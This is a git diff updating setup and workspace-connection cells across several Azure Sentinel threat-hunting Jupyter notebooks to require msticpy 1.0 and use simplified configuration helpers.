+- 22 files changed, 2252 insertions(+), 2446 deletions(-) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb index b1df014..222939a 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -231,29 +231,15 @@ ], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", - "# If you did not clone the entire Azure-Sentinel-Notebooks repo you may not have this file\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy[azsentinel]\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", " \n", "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", @@ -1186,976 +1172,7 @@ }, "widgets": { "application/vnd.jupyter.widget-state+json": { - "state": { - "01d4dab10f5d497980c3bad500574f59": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - 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"model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "description_width": "initial" - } - }, - "fd36bb0ade0c44c5b75bbd980a4aedb5": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "description_width": "initial" - } - }, - "fd64315e93d0478b8e3975bd2dba2d79": { - "model_module": "@jupyter-widgets/controls", - "model_module_version": "1.5.0", - "model_name": "DescriptionStyleModel", - "state": { - "description_width": "initial" - } - }, - "fdf2a07f0c444a75a43d23f90e3a1d47": { - "model_module": "@jupyter-widgets/base", - "model_module_version": "1.2.0", - "model_name": "LayoutModel", - "state": {} - } - }, + "state": {}, "version_major": 2, "version_minor": 0 } diff --git a/Entity Explorer - Domain and URL.ipynb b/Entity Explorer - Domain and URL.ipynb index 246f6b7..7089e7a 100644 --- a/Entity Explorer - Domain and URL.ipynb +++ b/Entity Explorer - Domain and URL.ipynb @@ -88,32 +88,19 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown, Image\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", - " \n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n", "\n", "# If not using Azure Notebooks, install msticpy with\n", "# !pip install msticpy\n", + "\n", "from msticpy.nbtools import nbinit\n", "extra_imports = [\n", " \"msticpy.nbtools, observationlist\",\n", @@ -124,12 +111,7 @@ " namespace=globals(),\n", " additional_packages=[\"oauthlib\", \"pyvis\", \"python-whois\"],\n", " extra_imports=extra_imports,\n", - ");\n", - "\n", - "WIDGET_DEFAULTS = {\n", - " \"layout\": widgets.Layout(width=\"95%\"),\n", - " \"style\": {\"description_width\": \"initial\"},\n", - "}" + ");" ] }, { @@ -176,22 +158,15 @@ }, "outputs": [], "source": [ - "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", - "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", "ws_config = WorkspaceConfig()\n", - "try:\n", - " ws_id = ws_config['workspace_id']\n", - " ten_id = ws_config['tenant_id']\n", - " config = True\n", - " md(\"Workspace details collected from config file\")\n", - "except KeyError:\n", - " md(('Please go to your Log Analytics workspace, copy the workspace ID'\n", - " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it..
'))\n", - " ws_id_wgt = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", - " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", - " ten_id_wgt = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", - " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", - " config = False\n" + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")" ] }, { @@ -205,13 +180,9 @@ }, "outputs": [], "source": [ - "if config is False:\n", - " ws_id = ws_id_wgt.value\n", - " ten_id = ten_id_wgt.value\n", - "# Establish a query provider for Azure Sentinel and connect to it\n", - "qry_prov = QueryProvider('LogAnalytics')\n", - "la_connection_string = f'loganalytics://code().tenant(\"{ten_id}\").workspace(\"{ws_id}\")'\n", - "qry_prov.connect(connection_str=f'{la_connection_string}')\n", + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)\n", + "# Load TI Providers\n", "tilookup = TILookup()\n", "tilookup.reload_providers()\n", "tilookup.provider_status" @@ -1202,8 +1173,6 @@ "outputs": [], "source": [ "if az_net_comms_df is not None and not az_net_comms_df.empty:\n", - " cm = sns.light_palette(\"green\", as_cmap=True)\n", - "\n", " cols = [\n", " \"VMName\",\n", " \"VMIPAddress\",\n", @@ -1344,9 +1313,9 @@ "celltoolbar": "Tags", "hide_input": false, "kernelspec": { - "display_name": "Python 3.6", + "display_name": "Python 3.6.7 64-bit ('condadev': conda)", "language": "python", - "name": "python36" + "name": "python36764bitcondadevconda6cccf545f08246a1a5c093078bc87e5f" }, "language_info": { "codemirror_mode": { @@ -1358,7 +1327,7 @@ "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", - "version": "3.6.7" + "version": "3.7.9" }, "latex_envs": { "LaTeX_envs_menu_present": true, @@ -1435,4 +1404,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Entity Explorer - Linux Host.ipynb b/Entity Explorer - Linux Host.ipynb index b448c7a..ac2a1a3 100644 --- a/Entity Explorer - Linux Host.ipynb +++ b/Entity Explorer - Linux Host.ipynb @@ -80,62 +80,23 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "REQ_MP_EXTRAS = [\"ml\"]\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", - " \n", + "# If the installation fails try to manually install using\n", + "# !pip install --upgrade msticpy\n", "\n", - "# If not using Azure Notebooks, install msticpy with\n", - "# !pip install msticpy\n", "from msticpy.nbtools import nbinit\n", - "extra_imports = [\n", - " \"msticpy.nbtools, observationlist\",\n", - " \"msticpy.nbtools.foliummap, get_map_center\",\n", - " \"msticpy.common.exceptions, MsticpyException\",\n", - " \"msticpy.sectools.syslog_utils, create_host_record\",\n", - " \"msticpy.sectools.syslog_utils, cluster_syslog_logons_df\",\n", - " \"msticpy.sectools.syslog_utils, risky_sudo_sessions\",\n", - " \"msticpy.sectools.ip_utils, convert_to_ip_entities\",\n", - " \"msticpy.sectools, auditdextract\",\n", - " \"msticpy.sectools.cmd_line, risky_cmd_line\",\n", - " \"pyvis.network, Network\",\n", - " \"re\",\n", - " \"math, pi\",\n", - " \"ipwhois, IPWhois\",\n", - " \"bokeh.plotting, show\",\n", - " \"bokeh.plotting, Row\",\n", - " \"bokeh.models, ColumnDataSource\",\n", - " \"bokeh.models, FactorRange\",\n", - " \"bokeh.transform, factor_cmap\",\n", - " \"bokeh.transform, cumsum\",\n", - " \"bokeh.palettes, viridis\",\n", - " \"dns, reversename\",\n", - " \"dns, resolver\",\n", - " \"ipaddress, ip_address\",\n", - " \"functools, lru_cache\",\n", - " \"datetime,,dt\"\n", - "]\n", "additional_packages = [\n", - " \"oauthlib\", \"pyvis\", \"python-whois\"\n", + " \"oauthlib\", \"pyvis\", \"python-whois\", \"seaborn\"\n", "]\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", @@ -143,11 +104,26 @@ " extra_imports=extra_imports,\n", ");\n", "\n", - "WIDGET_DEFAULTS = {\n", - " \"layout\": widgets.Layout(width=\"95%\"),\n", - " \"style\": {\"description_width\": \"initial\"},\n", - "}\n", - "from bokeh.plotting import figure" + "\n", + "from bokeh.models import ColumnDataSource, FactorRange\n", + "from bokeh.palettes import viridis\n", + "from bokeh.plotting import show, Row, figure\n", + "from bokeh.transform import factor_cmap, cumsum\n", + "from dns import reversename, resolver\n", + "from functools import lru_cache\n", + "from ipaddress import ip_address\n", + "from ipwhois import IPWhois\n", + "from math import pi\n", + "from msticpy.common.exceptions import MsticpyException\n", + "from msticpy.nbtools import observationlist\n", + "from msticpy.nbtools.foliummap import get_map_center\n", + "from msticpy.sectools import auditdextract\n", + "from msticpy.sectools.cmd_line import risky_cmd_line\n", + "from msticpy.sectools.ip_utils import convert_to_ip_entities\n", + "from msticpy.sectools.syslog_utils import create_host_record, cluster_syslog_logons_df, risky_sudo_sessions\n", + "from pyvis.network import Network\n", + "import datetime as dt\n", + "import re\n" ] }, { @@ -193,22 +169,15 @@ }, "outputs": [], "source": [ - "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", - "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", "ws_config = WorkspaceConfig()\n", - "try:\n", - " ws_id = ws_config['workspace_id']\n", - " ten_id = ws_config['tenant_id']\n", - " md(\"Workspace details collected from config file\")\n", - " config = True\n", - "except:\n", - " md('Please go to your Log Analytics workspace, copy the workspace ID'\n", - " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it..
')\n", - " ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", - " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", - " ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", - " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", - " config = False\n" + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")" ] }, { @@ -222,12 +191,8 @@ }, "outputs": [], "source": [ - "# Establish a query provider for Azure Sentinel and connect to it\n", - "if config is False:\n", - " ws_id = ws_id.value\n", - " ten_id = ten_id.value\n", - "qry_prov = QueryProvider('LogAnalytics')\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)" + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)" ] }, { diff --git a/Entity Explorer - Windows Host.ipynb b/Entity Explorer - Windows Host.ipynb index 92a2939..aa0aae4 100644 --- a/Entity Explorer - Windows Host.ipynb +++ b/Entity Explorer - Windows Host.ipynb @@ -67,32 +67,20 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "REQ_MP_EXTRAS = [\"ml\"]\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", - " \n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", "\n", "# If not using Azure Notebooks, install msticpy with\n", "# !pip install msticpy\n", + "\n", "from msticpy.nbtools import nbinit\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", @@ -135,26 +123,15 @@ "metadata": {}, "outputs": [], "source": [ - "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", - "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", - "# WorkspaceConfig.list_workspaces()\n", - "# ws_config = WorkspaceConfig(workspace=\"My_Workspace_Name\")\n", - "# calling WorkspaceConfig with no parameters will load the default workspace from msticpyconfig.yaml\n", - "# or fall back on a config.json file.\n", + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", "ws_config = WorkspaceConfig()\n", - "try:\n", - " ws_id = ws_config['workspace_id']\n", - " ten_id = ws_config['tenant_id']\n", - " config = True\n", - " md(\"Workspace details collected from config file\")\n", - "except KeyError:\n", - " md(('Please go to your Log Analytics workspace, copy the workspace ID'\n", - " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it..
'))\n", - " ws_id_wgt = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", - " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", - " ten_id_wgt = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", - " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", - " config = False\n" + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")" ] }, { @@ -163,12 +140,8 @@ "metadata": {}, "outputs": [], "source": [ - "if config is False:\n", - " ws_id = ws_id_wgt.value\n", - " ten_id = ten_id_wgt.value\n", - "# Establish a query provider for Azure Sentinel and connect to it\n", - "qry_prov = QueryProvider('LogAnalytics')\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)\n", + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)\n", "table_index = qry_prov.schema_tables" ] }, @@ -1619,8 +1592,6 @@ "outputs": [], "source": [ "if az_net_comms_df is not None and not az_net_comms_df.empty:\n", - " cm = sns.light_palette(\"green\", as_cmap=True)\n", - "\n", " cols = [\n", " \"VMName\",\n", " \"VMIPAddress\",\n", @@ -2019,4 +1990,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb index 96c9ad2..de7f85c 100644 --- a/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb +++ b/Guided Hunting - Anomalous Office365 Exchange Sessions.ipynb @@ -88,26 +88,30 @@ "#imports\n", "\n", "from pathlib import Path\n", - "import sys\n", - "from IPython.display import display, HTML, Markdown\n", + "impofrom pathlib import Path\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "REQ_MP_EXTRAS = [\"ml\"]\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - " \n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", + "\n", + "# If the installation fails try to manually install using\n", + "# !pip install --upgrade msticpy\n", + "\n", + "from msticpy.nbtools import nbinit\n", + "additional_packages = [\n", + " \"oauthlib\", \"pyvis\", \"python-whois\", \"seaborn\"\n", + "]\n", + "nbinit.init_notebook(\n", + " namespace=globals(),\n", + " additional_packages=additional_packages,\n", + " extra_imports=extra_imports,\n", + ");\n", "\n", "from msticpy.nbtools import nbinit\n", "\n", @@ -115,11 +119,8 @@ " \"msticpy.analysis.anomalous_sequence.utils.data_structures, Cmd\",\n", " \"msticpy.analysis.anomalous_sequence, anomalous\",\n", " \"msticpy.analysis.anomalous_sequence.model, Model\",\n", - " \"msticpy.data, QueryProvider\",\n", - " \"msticpy.nbtools.wsconfig, WorkspaceConfig\",\n", " \"typing, List\",\n", " \"typing, Dict\",\n", - " \"pandas, , pd\", \n", "]\n", "\n", "nbinit.init_notebook(namespace=globals(), extra_imports=extra_imports)\n" diff --git a/Guided Hunting - Base64-Encoded Linux Commands.ipynb b/Guided Hunting - Base64-Encoded Linux Commands.ipynb index 31a37eb..9d696f5 100644 --- a/Guided Hunting - Base64-Encoded Linux Commands.ipynb +++ b/Guided Hunting - Base64-Encoded Linux Commands.ipynb @@ -197,28 +197,17 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from pathlib import Path\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 5, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "REQ_MP_EXTRAS = [\"ml\"]\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --user --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(msticpy)\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_PYTHON_VER)\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", " \n", "from msticpy.nbtools import nbinit\n", "extra_imports = [\n", @@ -241,11 +230,6 @@ " extra_imports=extra_imports,\n", ");\n", "\n", - "WIDGET_DEFAULTS = {\n", - " \"layout\": widgets.Layout(width=\"95%\"),\n", - " \"style\": {\"description_width\": \"initial\"},\n", - "}\n", - "\n", "from msticpy.sectools import auditdextract\n", "from msticpy.sectools.cmd_line import *\n", "from msticpy.sectools.ip_utils import convert_to_ip_entities\n", @@ -277,23 +261,15 @@ }, "outputs": [], "source": [ - "#See if we have an Azure Sentinel Workspace defined in our config file, if not let the user specify Workspace and Tenant IDs\n", - "from msticpy.nbtools.wsconfig import WorkspaceConfig\n", + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", "ws_config = WorkspaceConfig()\n", - "print(ws_config)\n", - "try:\n", - " ws_id = ws_config['workspace_id']\n", - " ten_id = ws_config['tenant_id']\n", - " display(HTML(\"Workspace details collected from config file\"))\n", - " config = True\n", - "except:\n", - " display(HTML('Please go to your Log Analytics workspace, copy the workspace ID'\n", - " ' and/or tenant Id and paste here to enable connection to the workspace and querying of it..
'))\n", - " ws_id = nbwidgets.GetEnvironmentKey(env_var='WORKSPACE_ID',\n", - " prompt='Please enter your Log Analytics Workspace Id:', auto_display=True)\n", - " ten_id = nbwidgets.GetEnvironmentKey(env_var='TENANT_ID',\n", - " prompt='Please enter your Log Analytics Tenant Id:', auto_display=True)\n", - " config = False\n" + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")\n" ] }, { @@ -304,12 +280,8 @@ }, "outputs": [], "source": [ - "# Establish a query provider for Azure Sentinel and connect to it\n", - "if config is False:\n", - " ws_id = ws_id.value\n", - " ten_id = ten_id.value\n", - "qry_prov = QueryProvider('LogAnalytics')\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)\n" + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)" ] }, { @@ -1151,4 +1123,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Guided Hunting - Covid-19 Themed Threats.ipynb b/Guided Hunting - Covid-19 Themed Threats.ipynb index cd9c321..b40ea79 100644 --- a/Guided Hunting - Covid-19 Themed Threats.ipynb +++ b/Guided Hunting - Covid-19 Themed Threats.ipynb @@ -40,29 +40,17 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "REQ_MP_EXTRAS = [\"ml\"]\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", - " \n", "\n", "# If not using Azure Notebooks, install msticpy with\n", "# !pip install msticpy\n", @@ -73,7 +61,6 @@ " \"dns\",\n", " \"tldextract\",\n", " \"datetime\",\n", - " \"ipywidgets,,widgets\",\n", " \"msticpy.nbtools.foliummap, get_map_center\",\n", " \"msticpy.nbtools.foliummap, get_center_ip_entities\",\n", " \"functools, lru_cache\",\n", @@ -88,10 +75,6 @@ " extra_imports=extra_imports,\n", ");\n", "\n", - "WIDGET_DEFAULTS = {\n", - " \"layout\": widgets.Layout(width=\"95%\"),\n", - " \"style\": {\"description_width\": \"initial\"},\n", - "}\n", "from bokeh.plotting import figure" ] }, @@ -101,23 +84,30 @@ "metadata": {}, "outputs": [], "source": [ - "#Collect Azure Sentinel Workspace Details from our config file and use them to connect\n", - "try:\n", - " #Update to WorkspaceConfig(workspace=\"WORKSPACE_NAME\") to get alerts from a Workspace other than your default one.\n", - " ws_config = WorkspaceConfig()\n", - " ws_id = ws_config['workspace_id']\n", - " ten_id = ws_config['tenant_id']\n", - " md(\"Workspace details collected from config file\")\n", - " qry_prov = QueryProvider('LogAnalytics')\n", - " qry_prov.connect(connection_str=ws_config.code_connect_str)\n", - "except RuntimeError:\n", - " md(\"\"\"You do not have any Workspaces configured in your config files.\n", - " Please run the https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n", - " to setup these files before proceeding\"\"\" ,'bold')\n", + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", + "ws_config = WorkspaceConfig()\n", + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")\n", " \n", "ti = TILookup()" ] }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)\n", + "table_index = qry_prov.schema_tables" + ] + }, { "cell_type": "markdown", "metadata": {}, diff --git a/Guided Hunting - Office365-Exploring.ipynb b/Guided Hunting - Office365-Exploring.ipynb index 018ee7b..3e1fb01 100644 --- a/Guided Hunting - Office365-Exploring.ipynb +++ b/Guided Hunting - Office365-Exploring.ipynb @@ -76,29 +76,17 @@ "outputs": [], "source": [ "from pathlib import Path\n", - "import os\n", - "import sys\n", - "import warnings\n", - "from IPython.display import display, HTML, Markdown\n", + "from pathlib import Path\n", + "from IPython.display import display, HTML\n", "\n", "REQ_PYTHON_VER=(3, 6)\n", - "REQ_MSTICPY_VER=(0, 6, 0)\n", + "REQ_MSTICPY_VER=(1, 0, 0)\n", + "REQ_MP_EXTRAS = [\"ml\"]\n", "\n", "display(HTML(\"

Starting Notebook setup...

\"))\n", "if Path(\"./utils/nb_check.py\").is_file():\n", - " from utils.nb_check import check_python_ver, check_mp_ver\n", - "\n", - " check_python_ver(min_py_ver=REQ_PYTHON_VER)\n", - " try:\n", - " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", - " except ImportError:\n", - " !pip install --upgrade msticpy\n", - " if \"msticpy\" in sys.modules:\n", - " importlib.reload(sys.modules[\"msticpy\"])\n", - " else:\n", - " import msticpy\n", - " check_mp_ver(REQ_MSTICPY_VER)\n", - " \n", + " from utils.nb_check import check_versions\n", + " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER, REQ_MP_EXTRAS)\n", "\n", "# If not using Azure Notebooks, install msticpy with\n", "# !pip install msticpy\n", @@ -110,14 +98,12 @@ " \"msticpy.sectools.ip_utils, get_ip_type\",\n", " \"msticpy.sectools.ip_utils, get_whois_info\",\n", "]\n", + "additional_packages = [\"seaborn\"]\n", "nbinit.init_notebook(\n", " namespace=globals(),\n", + " additional_packages=additional_packages,\n", " extra_imports=extra_imports,\n", - ");\n", - "WIDGET_DEFAULTS = {\n", - " \"layout\": widgets.Layout(width=\"95%\"),\n", - " \"style\": {\"description_width\": \"initial\"},\n", - "}" + ");\n" ] }, { @@ -152,6 +138,23 @@ "" ] }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "# See if we have an Azure Sentinel Workspace defined in our config file.\n", + "# If not, let the user specify Workspace and Tenant IDs\n", + "\n", + "ws_config = WorkspaceConfig()\n", + "if not ws_config.config_loaded:\n", + " ws_config.prompt_for_ws()\n", + " \n", + "qry_prov = QueryProvider(data_environment=\"AzureSentinel\")\n", + "print(\"done\")" + ] + }, { "cell_type": "code", "execution_count": null, @@ -166,10 +169,8 @@ }, "outputs": [], "source": [ - "# Authentication\n", - "ws_config = WorkspaceConfig()\n", - "qry_prov = QueryProvider(data_environment=\"LogAnalytics\")\n", - "qry_prov.connect(connection_str=ws_config.code_connect_str)\n", + "# Authenticate to Azure Sentinel workspace\n", + "qry_prov.connect(ws_config)\n", "table_index = qry_prov.schema_tables" ] }, @@ -1217,4 +1218,4 @@ }, "nbformat": 4, "nbformat_minor": 4 -} +} \ No newline at end of file diff --git a/Guided Investigation - MDE Webshell Alerts.ipynb b/Guided Investigation - MDE Webshell Alerts.ipynb index c3f13ee..035d455 100644 --- a/Guided Investigation - MDE Webshell Alerts.ipynb +++ b/Guided Investigation - MDE Webshell Alerts.ipynb @@ -4,7 +4,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "

Guided Webshell Investigation - MDE Sentinel Enrichments

\n", + "#

Guided Webshell Investigation - MDE Sentinel Enrichments

\n", "

Notebook Version: 1.0
\n", "Python Version: Python 3.6
\n", "Data Sources Required: MDE SecurityAlert, W3CIIS Log (or similar web logging)

